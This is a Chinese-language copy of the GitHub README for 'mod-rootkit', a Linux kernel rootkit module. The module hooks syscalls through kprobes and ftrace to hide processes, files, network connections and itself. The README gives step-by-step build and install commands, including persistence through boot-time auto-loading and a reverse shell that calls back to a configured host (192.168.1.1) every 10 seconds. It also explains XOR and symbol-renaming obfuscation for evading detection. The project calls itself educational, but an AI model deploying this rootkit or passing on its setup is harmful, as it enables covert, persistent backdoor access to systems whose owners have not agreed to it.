flashnuke/mod-rootkit

GitHub: flashnuke/mod-rootkit

基于 kprobes 和 ftrace 的 Linux x86_64 内核级 Rootkit,支持进程、文件、网络连接隐藏及反向 shell 后门功能。

Stars: 24 | Forks: 6

``` ███╗ ███╗ ██████╗ ██████╗ ██████╗ ██████╗ ██████╗ ████████╗██╗ ██╗██╗████████╗ ████╗ ████║██╔═══██╗██╔══██╗ ██╔══██╗██╔═══██╗██╔═══██╗╚══██╔══╝██║ ██╔╝██║╚══██╔══╝ ██╔████╔██║██║ ██║██║ ██║█████╗██████╔╝██║ ██║██║ ██║ ██║ █████╔╝ ██║ ██║ ██║╚██╔╝██║██║ ██║██║ ██║╚════╝██╔══██╗██║ ██║██║ ██║ ██║ ██╔═██╗ ██║ ██║ ██║ ╚═╝ ██║╚██████╔╝██████╔╝ ██║ ██║╚██████╔╝╚██████╔╝ ██║ ██║ ██╗██║ ██║ ╚═╝ ╚═╝ ╚═════╝ ╚═════╝ ╚═╝ ╚═╝ ╚═════╝ ╚═════╝ ╚═╝ ╚═╝ ╚═╝╚═╝ ╚═╝ ``` 一个简单的概念验证 Linux 内核 Rootkit 模块,旨在对用户态隐藏进程、文件、网络连接及其自身,并提供建立反向 shell 的能力,适用于现代内核版本。 该模块在内核级别运行,允许其直接拦截系统调用,从而实现比用户空间技术(即 `LD_PRELOAD`)更高的隐蔽性。 与依赖直接系统调用表挂钩或导出符号(如 `kallsyms_lookup_name()`)的传统 rootkit 不同,此实现利用 kprobes 和 ftrace(此方法归功于 [xcellerator](https://github.com/xcellerator/linux_kernel_hacking))——以实现更高的隐蔽性和兼容性。它避免使用已弃用或移除的接口,确保在最新的内核版本(例如 5.7+,其中 `kallsyms_lookup_name()` 已不再导出)上仍可运行。 ## 概述 `mod-rootkit` 是一个可加载内核模块 (LKM),演示了 Linux 中的基本 rootkit 技术。一旦插入内核,它通过拦截和修改系统行为来提供隐蔽能力: - **进程隐藏** - 根据配置的关键字(出现在 cmdline 中)隐藏任何进程 - **文件和目录隐藏** - 根据配置的关键字隐藏文件和文件夹 - **网络连接隐藏** - 根据配置的 IP 地址或端口隐藏文件和文件夹 - **模块隐藏** - 将自身从内核模块列表中隐藏 ### 演示 - 隐藏文件、目录和进程 ``` make STRINGS_EXCLUDES="SOME_KEYWORD,hidden" sudo insmod mod_rootkit.ko ``` image ### 演示 - 隐藏网络连接并建立隐藏的反向 shell ``` make RSHELL_HOST=127.0.0.1 RSHELL_PORT=9001 NET_EXCLUDES=9001 sudo insmod mod_rootkit.ko ``` image ## 环境要求 - 安装了内核头文件的 Linux 系统 - GCC、make 和内核头文件:`sudo apt update && sudo apt install -y build-essential linux-headers-$(uname -r) make gcc` - Root 权限 - 内核版本 - 应该适用于任何版本 仅在 x86_64 Linux 上测试过 # 用法 ``` sudo apt install -y build-essential linux-headers-$(uname -r) # install requirements git clone https://github.com/flashnuke/mod-rootkit.git cd mod-rootkit make STRING_EXCLUDES="SOME_FILENAME1,SOME_FILENAME2" NET_EXCLUDES="127.0.0.1,2222" RSHELL_HOST=192.168.1.1 RSHELL_PORT=9001 HIDE_MODULE=0 # 添加反向 shell 读取参数分解 sudo make install make clean ``` ## 详细说明: ### 构建模块 编译模块: ``` make STRING_EXCLUDES="SOME_FILENAME1,SOME_FILENAME2" NET_EXCLUDES="127.0.0.1,2222" HIDE_MODULE=0 ``` 你也可以设置反向 shell: ``` make RSHELL_HOST=192.168.1.1 RSHELL_PORT=9001 NET_EXCLUDES=9001 # NET_EXCLUDES is used to hide the connection, it's not mandatory ``` | 参数 | 必需? | 描述 | |------------------|-----------|-----------------------------------------------------------------------------| | `STRING_EXCLUDES`| 否 | 逗号分隔的字符串列表,用于从 `getdents` 中隐藏(例如,文件/进程名称) | | `NET_EXCLUDES` | 否 | 逗号分隔的 IP/端口列表,用于忽略或隐藏连接 | | `HIDE_MODULE` | 否 | 设置为 `1` 以在加载后自动隐藏模块(从 `lsmod` 等中隐藏) | | `MODULE_NAME` | 否 | 默认为 `mod_rootkit`,覆盖以更改模块名称 | | `RSHELL_HOST` | 否 | 反向 shell 主机的 IP 地址 | | `RSHELL_PORT` | 否 | 反向 shell 主机的端口地址 | ### 手动加载/移除模块 加载: ``` sudo insmod mod_rootkit.ko ``` 移除: ``` sudo rmmod mod_rootkit ``` ### 安装模块(启动时自动加载) ``` sudo make install ``` 这将注册模块,创建启动时自动加载配置,并使用 `modprobe` 立即加载模块 ### 卸载模块 ``` sudo make uninstall ``` 这将尝试从运行中的内核卸载模块,并将其从启动时自动加载中移除 ### 清理构建产物 ``` make clean ``` 这将删除所有临时构建文件 ### 其他使用说明 * 隐藏进程时 - 确保其 cmdline 包含一个子字符串,然后通过 `STRING_EXCLUDES` 传递,即:运行 "`./HIDEME.sh`" 然后传递 `make ... STRING_EXCLUDES=HIDEME ...` * 对于 `*_EXCLUDES` 参数中的每个字符串,只需部分匹配即可隐藏条目(不必完全匹配,即:`STRING_EXCLUDES=ABC` 将隐藏条目 `...ABCDE...`) * 设置 `HIDE_MODULE=1` 会隐藏模块,请谨慎使用,因为之后移除它并非易事 * `NET_EXCLUDES` 示例 - `NET_EXCLUDES=127.0.0.1,12345` 将排除所有到/来自 `127.0.0.1` 的连接以及所有到/来自端口 `12345` 的连接 * 如果设置了反向 shell 参数,模块将尝试每 10 秒与主机建立一次反向 shell 连接。 ### 混淆 输入参数(排除项、反向 shell 参数)在运行时进行 XOR 加密和解密。
模块使用特殊标志进行编译,并且 `.ko` 文件作为 make 过程的一部分被剥离。
但是,符号无法完全剥离(由于 `ftrace` 的性质),但可以使用宏手动混淆: ``` // header file #define rshell_func z9qr_x1 extern int z9qr_x1(void* data); ... // src file int z9qr_x1(void* data) {...} // int rshell_func(void* data) ``` # 免责声明 本项目**严格用于教育和道德研究**目的。 在未经授权的系统上安装或部署 rootkit 是**非法且不道德的**。 仅在您完全控制的隔离实验室环境、虚拟机或测试系统中使用本项目。
标签:Ftrace, Kprobes, Linux内核安全, LKM, Rootkit, x86_64架构, Zeek, 中高交互蜜罐, 内核态Rootkit, 内核模块, 协议分析, 反向Shell, 后门, 安全资源, 客户端加密, 恶意软件开发, 文件隐藏, 权限提升, 私有化部署, 系统调用Hook, 网络可见性, 网络安全, 网络连接隐藏, 进程隐藏, 防御规避, 隐私保护